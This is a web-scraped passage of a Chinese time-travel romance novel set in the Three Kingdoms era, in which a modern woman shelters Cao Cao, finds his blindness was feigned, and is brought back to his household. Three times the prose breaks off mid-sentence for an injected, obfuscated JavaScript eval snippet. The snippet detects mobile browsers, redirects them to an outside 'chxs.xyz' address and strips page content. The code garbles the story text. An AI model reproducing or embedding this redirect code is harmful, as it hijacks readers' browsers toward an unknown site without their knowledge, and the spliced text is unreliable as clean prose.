只听他低声说:“你是谁?我在哪里?烦请阁下写于掌心告知。”他摊开手掌,让丁瑶在他掌心写字。 丁瑶依然不敢信他受伤残疾了。他可是曹操啊,是三国霸主之首啊,怎会如此不谨慎。 她在他手上写下“驿馆”二字,反复写了三遍,对方才明白身在何处。他说:“多谢相救,待我来日身体恢复,必有重谢。” 丁瑶写:不必。 男人凝神片刻,似乎在用其他感官感知这个屋子。他问:“房间里是何味道?” 丁瑶点了自己最爱的熏香。 她懒得解释,在他手上写:无甚。 很快,大夫请来了。他替曹操处理伤口,伙计们帮忙给他换身干净衣服。过了一会儿,大夫出来对陈老爷说:“此人外伤不重,主要是内伤导致失明失聪。目前无特别有效的药,先静心调理为好。” 陈老爷:“多谢。”给了点钱。 丁瑶:“……”什么蒙古大夫,是来行骗的吧。不过她也不敢去徐州找名医,万一有人认出曹操,徐州……不对,天下恐怕要大乱了。 她对曹操感情复杂。爱没有,恨也不算太恨,只求他能放自己一条生路。若她把曹操交给刘关张,也许自己从此能飞黄腾达,说不定还能终结一个乱世。 可仔细一想也不对,曹操如果死了,曹家那几个儿子肯定会给父亲报仇,或者内讧抢地盘,而后袁绍称霸。袁绍就一定比曹操做的好吗? 前有十八路诸侯以安天下为由诛杀董卓,如今董卓死了,那些诸侯们依然打打杀杀、征战地盘,可见正统衰落时总有流血和战乱,杀一人不足以终结乱世。 再说了她丁瑶本就是看客,想安稳度日罢了,不愿卷入纷争。若他真把曹操交出去,肯定是“千古留名”,刘皇叔感激她可未来不一定保得了她,曹家人必然会追杀她。 可怕。 而且,她到现在都不敢完全相信曹操真会变成这样。他手下那么多精兵强将,怎会如此冒失让自己主公变成伤残人士?如果曹操是为攻打徐州做准备,找人当卧底,那他大可派手下人进城啊,怎会以身冒险? 在她做出如何处置眼前曹操的决定前,她打算再试探他几次。也许是奸雄又在使什么奸计呢? 翌日清晨。 所有人都还在睡梦中。 “当当当!”吵闹的敲锣声如晴天炸雷,窗外的鸟全部惊飞,店里的人吓得滚下床。陈老板、店伙计、月桥等小馆的人,衣服都没完全穿好,披着外披怒气冲冲走向吵闹的源头。 “谁啊?大早上疯了么!?”月桥不知昨晚收留人的事,骂骂咧咧推门进屋。她定睛一看,丁瑶正在床前敲锣,而床上躺着的那名男子依然沉睡,毫无察觉。 陈老板惊讶:“阿瑶……你……你在做甚?” “当当当!”丁瑶又使劲敲了几下,还把铜锣凑到曹操耳边,待敲锣的回音消失,她放下木锤道:“我怕遇上歹人,想看他是不是真的聋了。” 陈老爷把她拉开,一脸莫名其妙看着她,絮絮叨叨:“你啊,要是害怕就别让他住你隔壁啊,干脆挪到我那里,或者送到城里找个更好的大夫。” “他不能进城……嗯……是我多虑了,抱歉抱歉,打扰你们睡觉。”丁瑶一手提着铜锣,一手摸着后脑勺,讪讪地鞠躬。 众人一头雾水,骂骂咧咧走开了。毫无悬念的,当日早上她接到很多驿馆客人的投诉。她只能用免费早食作为补偿。 有了这次教训,丁瑶本该死心。可每次看见曹操的脸,她都能想到他对环夫人的那句“乱棍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699812|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打死”。如此心狠手辣的人,怎能允许自己栽跟头? 曹操身体素质很好,过了两天便下地活动自如。只是因为眼睛看不见,耳朵听不见,他只能在屋里活动,不出门。 这天,丁瑶做好饭,顺路帮忙带给“屋里的病人”。她走上阁楼,迎面看见月桥走来。月桥趁机叫住她,问:“陈老板可有跟你说,还要留他住多久?要么出钱要么出力,他白吃白喝算怎么回事?” 丁瑶说:“我看他之前虽然身上狼狈,但衣服料子不俗,肯定非富即贵。等他身体好了,我就派人散出消息,看他家人回不回来寻找。若是有人上门,何愁没有谢礼。” “说得也是。”月桥点点头,离开了。 丁瑶看着手中的碗,心中又有一计。她又把饭食端回城下小馆的厨房,将菜肉饭混在一起捣碎,再滴上点颜色深重的酱料,搁在大碗里搅和在一起,那卖相要多难看有多那看,甚至有点恶心了。 如果曹操能看见,这种长得像动物粪便一样东西给他吃,他肯定掀桌子。 丁瑶把碗端到曹操面前,递上筷子,盯着他的脸观察表情。哪怕他面上有一点细微的厌恶,她都能发现。没想到他面不改色吃下食物,淡淡说了声:“多谢。” 她这会才真的相信,曹操看不见。 整整一碗饭下肚,曹操放下筷子,目视前方,对她说:“再次感谢你相救。我还有个不情之请,劳烦你捎信至许昌城外张家铁匠铺,我的家人会来寻我,到时候对你必有重谢。” 丁瑶还没拿定主意,忽然,月桥在外面敲门,对她暧昧地笑说:“阿瑶,赵将军来看你了。” 赵云来了?可千万别让他知道曹操在这里。 丁瑶在曹操手上写:稍等。然后起身推门而出,离开房间。在她关门离开的瞬间,桌前的曹操嘴角弯了下,露出一抹意味深长的笑。 ***** 丁瑶走出城下小馆,看见赵云坐在路人乘凉棚下喝茶。虽然是捡漏的草棚,可他端坐在那里宛如一棵青松,十分板正。 天气转热,刚从演武场回来的他额头上出了点薄汗,脸颊有些红。不远处的木桩上拴了一大一小两匹马,丁瑶诧异,心想这回赵将军不会是想送她马吧? “赵将军。”丁瑶走上前,打招呼,笑了笑说,“将军日理万机,什么风把您吹来了?” 赵云看了看她,低声问:“驿馆这几日来什么人了吗?” “怎么?”丁瑶紧张。 赵云皱眉:“我感觉今日驿馆有点杀气,不似寻常。” 不愧是习武之人,难道他察觉出什么?还是许昌早有眼线,他们把曹操的情况传到徐州了?丁瑶强笑:“将军说得哪里话,我这里住的都是过往商客,平头百姓,哪来的杀气。就算真有心怀不轨之人,有将军虎威在,他们也不敢造次。” “我的追风很敏感,只要有敌人,它远远就会鸣叫示警。”追风是赵云的马,此时被拴在木桩上,今日的它不住地打响鼻,马蹄在地面来回踩踏,显得焦躁不安。 片刻,赵云主动说:“可能是我想多了。” 丁瑶脸上仍挂着笑。呵呵,你最恨的曹贼,现在就住在小馆里面。 23. (二十三)暴露 见势不对,丁瑶立刻撇开话题。 “你来的正好,我研究了新饮品,请赵将军品尝。” “乐意为之。”赵云点头。 丁瑶进屋鼓捣了小片刻,然后神秘地端着一个碗出来,递给赵云。 赵云揭开盖子。只见里面盛着黑褐色的汤汁,瓷碗握在手里有点凉意,应该是酸梅饮一类解暑的东西。 他低头喝了口。哪知他才尝一口,便“噗”一下全喷出来。他咳嗽几声,脸更红了。 “阿瑶姑娘,这是……这是何物,为何又甜又辣?”他擦了下嘴,哭笑不得。莫非丁瑶是故意在整他? 丁瑶无辜地解释:“这是快乐水,在我家乡很流行。甜是糖浆,辣舌头的感觉不是辣,而是一种气体,夏日喝冰凉的快乐水能让人身心愉悦。” 赵云摆摆手,诚恳地说:“我不认为这东西会让人心情愉快,建议阿瑶姑娘不要卖它了。” “好吧。”丁瑶笑笑,“其实在我们家乡,快乐水这种东西也是很长时间才被大家接受的。夏天冰镇祛暑,冬天煮姜驱寒。”说完,她把瓷碗里剩下的自制冰镇可乐一口气喝了,多好喝啊,不喝浪费。 一时动作快,丁瑶看见赵云莫测地望向自己,发觉方才的做法不妥。古代男女授受不亲,大街上走路迎面碰一下都要避嫌,更别说用同一个碗喝水。 她尴尬地立着,低下头,结结巴巴:“不好意思……我只是……唉,实在抱歉,我不小心的。” 赵云低头,不知是笑还是叹气,轻声说:“无妨。”而后他站起来,再次望着小馆后面,凝神,“阿瑶姑娘,你最近真的没遇见什么可疑人?” 丁瑶很肯定地说:“没有。” “好吧,我信你。”他环顾四周,似乎有疑,但不再追问,也没有进屋一探究竟。 他走到拴马的木桩边,解开马缰绳,和丁瑶告别:“今日来本是想当回师傅,教阿瑶姑娘骑马。可我突然想起还有事要忙,先行一步,改日再来。” 丁瑶点点头,不挽留:“将军慢走。” 赵云骑着追风走了。那匹小马依然留在这里。看来赵云今日来不但是送马,还送骑马课。 月桥躲在屋里看热闹直到赵云走了,她好一通捶胸顿足,随后走出来指着丁瑶说:“你也太没良心了,赵将军一片好意叫你辜负了。” 丁瑶说:“将军是个好人。我无法承诺什么,如果我坦然接收他的好意,才是没良心。” “有道理。”月桥安静下来,点头认同。沉默几秒,她又咋呼起来,追问丁瑶:“阿瑶你到底是哪里人啊?你不是吴家的人,为何那日会在难民棚?” “我就是难民。”丁瑶说,“而且我曾经嫁过人,你别再给我牵红线了。” “什么?”月桥难以置信,“你的夫君呢?他怎么同意你一人出来开店做生意?” 丁瑶边收拾桌上的茶碗,边说:“我们和离了。” 她说得面不改色,月桥却惊掉了下巴:“你个姑娘家的……哎呀,为何啊?” 丁瑶半真半假地说:“这有什么?不喜欢不愿意在一起,就分开了。而且他还对我使用冷暴力,还威胁过我,我巴不得他赶紧给我休书。” “那你以后靠什么生活?一直开店吗?” “等我攒够钱,就去南方安家。” 月桥眼睛一亮:“听说江南风景好,也没有战事。到时候能带上我吗?” 丁瑶说:“你们若愿意留在徐州,我就把店铺给你们。若你们愿意跟我走,我们就一起走。” 回到房间,丁瑶闭门沉思。是该把曹操交出去,还是做曹操的“恩人”给许昌递消息。 交出去?乱世无法终结,她被曹家人追杀迟早会死。 递消息?刘备不是吃素的,他很可能在许昌也有眼线,万一他先发现她私藏曹操于徐州……她也是死。 而后,她想到一个好计划。先把曹操从刘备地盘上带出去,到曹家领地。等安全了,她再往许昌捎信。 环夫人不认识铁匠铺的人,到时候她乔装成流民,告诉那里的人曹操在哪儿,然后讨一笔丰厚的赏钱,溜之大吉,连曹操的面都不用见。 至于那群人得到的曹司空是聋是瞎,连曹操都只知道那是救命恩人,其他人也不会把账算在她头上。 ***** 三日后,制定好离开计划的丁瑶用目前赚到的钱,雇了两辆牛车,两个车夫兼护卫。 她准备先把曹操转移到许昌以冬五百里的宁临县,找家客栈安置,然后再去送信。 临走前,独眼龙地头蛇找到她,仗义地揽下这趟活,打算一路护送:“你这个女娃娃实在不知深浅,就带这两人和一个瞎子,还没出徐州多远就被强盗盯上了。不瞒你说,老子以前就是干这个的,专门抢你这类小丫头。” 丁瑶:“……”我谢谢你啊! 独眼龙嘿嘿笑:“不过你放心啊,老子已经金盆洗手参军了,绝不再犯混账事。我帮你也不是为钱,是感谢你没有在许昌外揭穿我身份,让我来到徐州,有机会追随明主。我叫徐老三,你可以唤我三爷。三爷没别的,就是一身好武艺,这一路有我护送,你就放心吧!” 盛情难却,加之丁瑶确实需要人手。她接受了三爷的毛遂自荐,一行人很快出发。临走前,她特意带上赵云送她的护身匕首,以防万一。 按照计划,到达宁临找到馆驿入住后,丁瑶该去送信了,留三爷他们“看家”。 可到了宁临县,丁瑶发现自己走不了,因为曹操的举动越来越……古怪。 自从他身体外伤好了,行动自如,他离开徐州城便有点肆无忌惮。 比如说喜欢外出游逛,让丁瑶一路都很担心曹孟德跑丢了落到其他人手里,只能一直跟着。 比如说他变得越发挑嘴,只吃丁瑶做的东西,其他的一概不吃。丁瑶十分奇怪,曹操本不是个挑食的人,何时培养这么个恶习。于是丁瑶仗着他看不见也说不出,某天晚餐给他吃麻辣香锅,辣的他直流眼泪。 哼,活该! 徐老三不知曹操身份,以为他就是个意外受伤的有钱人。同是男人照顾起来方便,他每日和曹操吃住在一起,丁瑶看得是心惊胆战。 终于到了宁临县,曹操却拽着丁瑶不让她走。 徐老三说:“受伤的人对第一个救他的人会产生信任,他现在看不见也听不见,你在身边才放心。” 丁瑶:可我在他身边不放心,老娘还想拿钱跑路呢! “我还有正事办,不能耽误。”必须尽快把曹操这个大麻烦交出去。 他们已经来到曹氏地盘,曹操丢失的事不能大张旗鼓贴寻人启事,但很明显,街上多了许多巡逻士兵,曹家也在寻人。 “女娃娃若信得过我,三爷替你送信。你放心,人是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14706539|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救的,三爷不贪功,铁匠铺子给的谢礼都是你的。只是……”他摸着脑袋一笑,原本骇人的独眼此时显露憨态,“女娃娃给我点酒水钱就行。” 丁瑶忍俊不禁。 徐老三又有主意:“或者直接把人送过去,一手交钱,一手交人。” “不行,绝对不行。”丁瑶断然拒绝,“那帮人诡计多端,我们露脸本来就有风险,若再把人提前交出去,他们反悔了或者把人受伤的事怪在我们头上,我们浑身是嘴也说不清。而且为了防止他家主子受伤的事败露,有可能会杀我们灭口。” 徐老三诧异:“女娃娃,难道你认识这瞎子不成?” “我……我不认识他。江湖故事不都这么写吗,小心无大错。” “说得在理。”徐老三想了下,勇于担当,“既然你害怕,还是我替你送信比较好。我是老江湖,一般人不敢惹。” 丁瑶点头同意:“也好,辛苦你了。明日我借匹快马,你两日可到许昌,见面捎信后再花两日时间归来。五天后辰时,我们在客栈汇合。放心,你应得的那一份绝不会少。” 徐老三很满意。 徐老三离开后的第一个晚上,丁瑶有点莫名不安。第二日傍晚,她察觉到不安的来源,这家馆驿除了她和曹操,其他客人陆陆续续都不见了,连她最开始雇的两个驾车车夫也不见了。 那俩人留书出走,只带走最开始丁瑶付的定金,尾款都没要。 很快,整个驿馆仿佛与街道隔绝,无人进入,周围徘徊的带刀佩剑青年越来越多。 丁瑶意识到大事不好,无论那些是徐州来人盯上曹操的,还是曹家人把他们围住,对她来说都十分不利。她等不了徐老三了,留下书信后打算趁夜逃走。 谁知这晚她刚收到包袱,“砰”,身后门被人重重推开。曹操面无表情地站在门口,淡淡说:“你要去哪里?” 丁瑶屏住呼吸,慢慢挪开脚步,绕到他身后。岂料他回头,一把握住她的胳膊,攥得极紧。 丁瑶震惊,望着他漆黑明亮的眼睛,眼中仿佛燃烧着一簇簇小火苗。这绝不是失明人会有的眼神。 “你能看见,也能听见?一直以来你都在演戏,你一直在骗我?” 曹操嘴角上扬:“我从未说过,自己失明失聪。” 丁瑶摇头苦笑。不愧是三国霸主,在他耳朵边敲锣都面不改色,骂他也能充耳不闻,当真有定力。 她问:“你煞费苦心骗我,把自己演得那么狼狈,究竟为何?” 他盯着她的眼睛,有一丝迫切一丝期盼:“你不是也骗了我么?” 丁瑶一愣。 “你不是环夫人,你是阿瑶。”他语气十分笃定。 “谁?” “别装了,我只唤过一人阿瑶。” “那不过是我随口起的名字。”丁瑶试图甩开他的手,决绝道,“曹司空别忘了,当初是你亲自写了休书,放我离开。我既然收下休书,往后便是自由身,不值得您浪费时间。” 丁瑶的挣扎在他眼中微不足道。他用力一拽,把她拉入怀里。 丁瑶怒不可遏,伸手摸到别在腰间的匕首,拔出来狠狠朝他背后刺过去。曹操抱着她没松手,只是身体微微一侧,匕首没有刺进后背,而是扎在他大臂上。 他吃痛地闷哼一声,而后居然笑起来,搂着丁瑶说:“解气了么?气消了就随我回家。” 24. (二十四)约法三章 “你你你……你疯了吗?明明可以完全躲开啊!”丁瑶松开匕首,看着他流血的胳膊难以置信。 曹操似乎笑得很开心,完全不知道疼。他握住丁瑶的手,得寸进尺:“我就知道,阿瑶是心疼我的。” “滚!”丁瑶忍不住爆粗口,“我跟你说了,我不是你的阿瑶,我曾经是环夫人,一纸休书后已是自由身。” 曹操挑眉:“哦?看来我猜的没错,你果然在府里装疯卖傻为了让我休了你,你好逃出去。正好,我休了环夫人,再次得到你,并不矛盾。” 所以他乔装打扮跟到徐州,就是为了调查她? “我说了我不是……” “我会蠢到连枕边人都认不出?”曹操一句话堵住她所有的话。 丁瑶怒,只恨自己刚才下手太轻。曹操瞥了眼胳膊上的匕首,面不改色拔了出来。鲜红的血汩汩流出,他吃痛地哼了一声,把匕首扔了,不屑道:“这东西不适合你。” 丁瑶挣扎几下,从他身边逃开。可门外早已围满曹操的人,她跑不出去。这时,门外一将军装扮的人从人群中走出,对曹操行礼:“大军已集结完毕,等候司空下令。” “好。传令下去,骑兵先行,明日午时前到达徐州。” “是。”那人刚要下去,目光停在曹操受伤的手臂上。有了宛城邹夫人前车之鉴,但凡打仗过程中曹操身边出现女人,都让将军捏把冷汗。他迟疑一下,警惕:“您的胳膊……” “无妨。慢着……”曹操喊住他,指了指丁瑶,吩咐他道:“找人看着她,不准叫她离开视线半步。” “是。” 丁瑶灰心地坐在床上,心想但愿徐老三机灵一点,得知客栈发生什么后别回宁临了,也别再回徐州。 没想到曹操像是会读心术一般,坐在她对面,语重心长地道:“你在担心徐老三?放心,他无事。” 话音落,门口出现四个人,都是曹操喊来负责看住她的。丁瑶撇眼看去,其中一个独眼彪形大汉太眼熟了,不就是徐老三本人么。 “墙头草吃里扒外!”丁瑶冲他喊。 徐老三抹汗,一叠声道:“姑娘千万别这么说。小的本就是曹司空的人,一直尽心尽力为司空办事,绝不敢吃里扒外。” “这么说来,你在难民棚的时候就已经……那在徐州参军是你故意为之?为了打探消息?你卑鄙!”丁瑶咬牙切齿,虽然在唾弃徐老三,可最后三个字是看着曹操说的。 徐老三低头。 曹操一笑,对卑鄙这个词很受用。他点头,欣然道:“无论什么手段,战场只有输赢。” 丁瑶心凉。曹操攻下徐州是必然事件,如果徐州城破,城下小馆里的人肯定保不住了。念着几个月一起合伙做生意的旧情,丁瑶向曹操求情:“您已胜券在握,可否放过小馆里的人。无论你受伤是真是假,他们曾救过你。” “你凭什么对我提要求?”曹操笑容莫测。 丁瑶道:“您若答应,我可以保证不会逃走,也不会寻死。”可笑的是她现在唯一的筹码,竟是他对阿瑶的那点固执和思念。 “你不会死,否则你回来的第一天就已经寻死了,撑不到现在。”曹操站起来,居高临下看着她道,“我说凭什么提要求的意思,并非不愿放过他们,而是你无需多此一举。” 什么意思?他早已决定不追究了?丁瑶诧异。 直到她被人押送上马车后她终于明白多此一举是何意了,什么陈老板、什么月桥、什么店伙计……都是曹操的人! “好一个楚门的世界!曹孟德你好大的手笔!”丁瑶坐在马车里大喊,被月桥按住了。 曹操在车外轻笑:“什么世界我不懂,我只知道你能回来比什么都重要。你最亲近的人都在你身边了,以后也会一直陪着你。至于小馆里剩下的那群妇女老幼,我对杀他们没有兴趣。只要他们能自保,我就放他们活。” 丁瑶假装镇定:“就这么几个人看着我,不怕我再从许昌跑了?” “谁说让你回许昌?”曹操留有后手,“以防你再次想办法逃走,从现在开始,你要寸步不离随我前往徐州,看我如何打败刘备匹夫,如何让赵云丢盔弃甲。” 马车在队尾走得很慢。前方仗已经打完了,她才来到徐州。 不用看也知道结果。 “姑娘,吃点东西。”月桥递给她一个水囊,一块烧饼。 亏待谁都不能亏待自己的胃,丁瑶吃了几口饼,又喝了一大口水。顺顺气,她问月桥:“你到底是谁?” “小的本名就叫月桥,家人在江淮饥荒中饿死,我又被大火烧伤,是荀彧公子救了我。公子辅佐曹司空后,我便在司空手下效力。” “能被荀彧看重,你肯定不平凡。” 月桥说:“会些微末功夫。” 能被曹操拍来暗度陈仓的,岂能是微末功夫。丁瑶问:“其他几人你都认识?” 月桥点头:“陈老板本姓陈,名字我们不知道。我和其他几人都在陈老板手下训练,突出者才能被曹司空选中。” 丁瑶基本了解了。就像某个组织的头子和手下训练的新兵,表现出色的组队执行某个任务。和传说中的死士或杀手差不多。 曹操手下肯定有这类人,正史没记载,野史上肯定有。据说他为了凑集军饷,连盗墓都干出来了,整出个摸金校尉小分队。连盗墓团都有,杀手团算什么。 “你们上一个任务是装成店伙计,打探徐州消息?” 月桥摇头:“主要是看住……是保护姑娘。” 真看得起我啊!“下一个任务还是看着我?”丁瑶好笑地问。 月桥点头。 丁瑶再问:“如果我跑了呢?” 月桥说:“我们会死。” 答案显而易见。死士死士,完不成任务就要死了。 可月桥如此面不改色,连句软话都没有,显然已经把自己生死置之度外了。服从性测试满分,牛马精神满分。 丁瑶忍不住叹气,摇头说:“放心好了,我不会让你们送命的。” 而且通过这次短暂的逃离,她深刻意识到自己现在的智商和能力,完全不足以和曹操做对。想要彻底离开曹孟德的控制,还需从长计议。 徐州刘家军兵败的消息很快传来,刘备丢盔弃甲投奔袁绍,张飞和赵云不知所踪。关羽被曹军围困在下邳城外的荒山上,做好拼死一战的准备。 曹操爱才,派部下张辽上山劝降关羽。因当时深陷绝境,且刘备两位夫人同自己一道,关羽担心她们的安危,便提出三个条件,如果曹操答应他便暂时投降。 第一是降汉不降曹。曹操觉得大汉天子都在他手里,降汉便是降他,他同意了。 第二是善待刘备的两位夫人。曹操也同意了。 第三是只要有一日得知刘备的下落,他即刻便会启程离开,寻找刘备。曹操先是犹豫,可后一想刘备在袁绍那里讨不到好处,能活到哪日犹未可知。关羽重情义,只要他对关羽百般恩情,总有一日他会被打动。 曹操接受关羽三个条件。关羽下山,投降曹军。 曹操留下部分人马驻守徐州后,率军回许昌。刘备的两位夫人得到妥善安置,在侍女的陪同下上马车。 丁瑶还没来得及戴面巾蒙上脸,刘备的甘、糜两位夫人已经上车了。两位夫人没有亲自光顾城下小馆,但她的婢女来小馆买过东西,认识丁瑶。 侍女冷冷扫了丁瑶一眼,低骂:“叛徒!” “不得放肆。”其中一位夫人斥责婢女。她衣服和脸上满是灰尘,完全看不出是一位诸侯的夫人。她声音淡淡的,笑容也淡淡的,完全看不出慌张:“婢女无状,姑娘莫要见怪。” 丁瑶点头还礼:“夫人莫怪罪才是。” 另一位夫人白了她一眼,心里有脾气,嘴上阴阳怪气道:“阿瑶姑娘客气了,往后我和姐姐还要劳烦你照顾呢。” 丁瑶略一点头。谁是正夫人,谁是妾室,一目了然。 回许昌的路很顺,为了照顾两位夫人,马车走走停停行进很慢。 考虑两位夫人在此,曹操不靠近女眷们,丁瑶因为一路坐马车,也没见过曹操。其实这是很好的逃跑时机,丁瑶想过假扮夫人的侍女找借口离开,或者夜深人静以外出解手为由溜走。可曹操人虽没在,眼线却一点没少。只要丁瑶有一点动作,哪怕起身活动一下,立刻有人跟上来。就连她洗漱换衣服如厕,都有月桥时刻盯着。 就连甘糜二夫人也察觉不对了,最开始对丁瑶的鄙夷慢慢淡去,转为了同情和无奈。 丁瑶心中有气。太过分了!监狱里关犯人也没有这么看的! 眼看离许昌越来越近,她必须为自己某个生路。哪怕暂时寄居在曹操这里,也得让日子好过,不能失去人身自由。 进入许昌城前一晚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787460|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丁瑶在月桥的监视下,主动来到曹操大帐前讨说法。 门口侍卫进去通禀后,曹操说:“让她进来。” 丁瑶走进去,看见大夫正在给曹操换药,正是她拿匕首刺伤的地方。大夫敷上草药,正要包扎,曹操指指丁瑶:“让她来。” 大夫看她一眼,识相的退出去。其他侍卫也退下,只留两个看门人。 丁瑶顺从地走过去,坐在他旁边,看着他血淋淋伤口上敷着白色的药粉。她拿起大夫留下的白色纱布包扎,手劲故意很重,伤口有一点渗血了。 曹操极其能忍,一声不吭。 丁瑶挑衅:“不怕我趁机下药?” “你不会。” “可以学。” “呵呵,杀了我,你不就成寡妇了?” 丁瑶冷笑:“你不是怕我成寡妇,是怕院子里其他女人成寡妇吧?” 曹操不恼,反而安慰她:“你有气就骂,我不怪你。这些年你憋了一肚子委屈,默默承受太多。之前是我忽略了你,往后一定加倍补偿。” 丁瑶包扎好伤口,负手立在一边,缓缓道:“曹司空若真愿意补偿,不如放我自由。我保证不对任何人说司空府的事,也不对人说自己的身份,更不会改嫁别人。我只想在远离许昌的地方置个宅子,安静度日,远离是非。可否允准?” “否。”曹操不假思索,摇头:“好不容易把你盼回来,怎能让你离开。” 丁瑶皱眉。古人不是最讨厌怪力乱神的事吗?她这种借尸还魂、灵魂穿越的人,不应该当成怪物烧死吗?曹操为何对这类怪事接受程度这么高,甚至还有点兴奋和向往? “不好奇我如何认出你的?”曹操看着她问。 丁瑶叹气:“只要你愿意,黑的都能说成白的。” “知我者,阿瑶也。”他起身,笑眯眯地走过去,拉着丁瑶的手,“我的好夫人,随我一同进城吧。” 他的笑在丁瑶眼中,就是巨大的陷阱。她若由他牵着鼻子走,必定羊入虎口。虽然眼前人不是什么诚信君子,但她也要最大限度争取自己的权益,哪怕是短时间内的权益。 可面对面单挑她不是对手,必须得有外界施压。 于是,在曹操兴致极好,邀请丁瑶与他同骑一匹马,两人大张旗鼓走在队伍前头入城时,丁瑶提出条件:“我可以回司空府,也不会再逃跑,但有条件。关将军与曹司空有约法三章,今日我也想与您约法三章。” 街边都是围观百姓。曹操轻轻一笑,知道丁瑶选在此时提要求,就是拿路人百姓施压。他要是不答应,她会不知死活闹出别的动静让他出丑。 可她想错了,他从来不怕街头巷尾的议论,更不会在意一群匹夫的闲言碎语。 不过,既然她有兴致说,他听听她的约法三章也无妨。 “好,你说。”他笑了笑。 “第一,回到司空府后,不要让人寸步不离盯着我。我是一个人,不是你的犯人。” 曹操想了下。司空府戒备森严,她掘地三尺也逃不出去,确实不用月桥他们盯着了。他点头:“可。” 丁瑶说:“第二,我虽然回府,可我只是名义上的夫人,你不可以要求我做别的事情。” 曹操有点小挫败。可他一想,阿瑶受过委屈在丁府郁郁而终,猛地让她接受自己,确实不太容易。女人都有小性子,时间长慢慢哄肯定能好。他也答应了:“可。” “第三,若我有一日做了一件让司空非常高兴的事,想讨一个赏赐,司空不可拒绝。” 曹操答应得不爽快了:“那得看你要的是什么赏赐。” “很简单,绝非您做不到的事情,我一不要权,二不要财,三不要地,我只要找个地方安安静静……”丁瑶没说完的话,淹没在周围百姓的议论声中。 曹操没有听清,或者他是故意不想听见。 司空府门前,卞夫人带领其他夫人恭候多时。 卞夫人远远看见曹操和一女子同程一骑,以为他在外面又遇见了新的美色,并不诧异。只是在他们走近了,看清马背上的女子是已经休掉了环夫人,她才忍不住露出惊讶的神情。 曹操把丁瑶抱下马,吩咐卞夫人:“环儿我接回来了,给她安排个好一点的住处,让她以后住在阿瑶住过的小院。” 卞夫人眼珠子差点掉下来。她皮笑肉不笑,努力保持风度,缓缓道:“是,恭喜环妹妹。”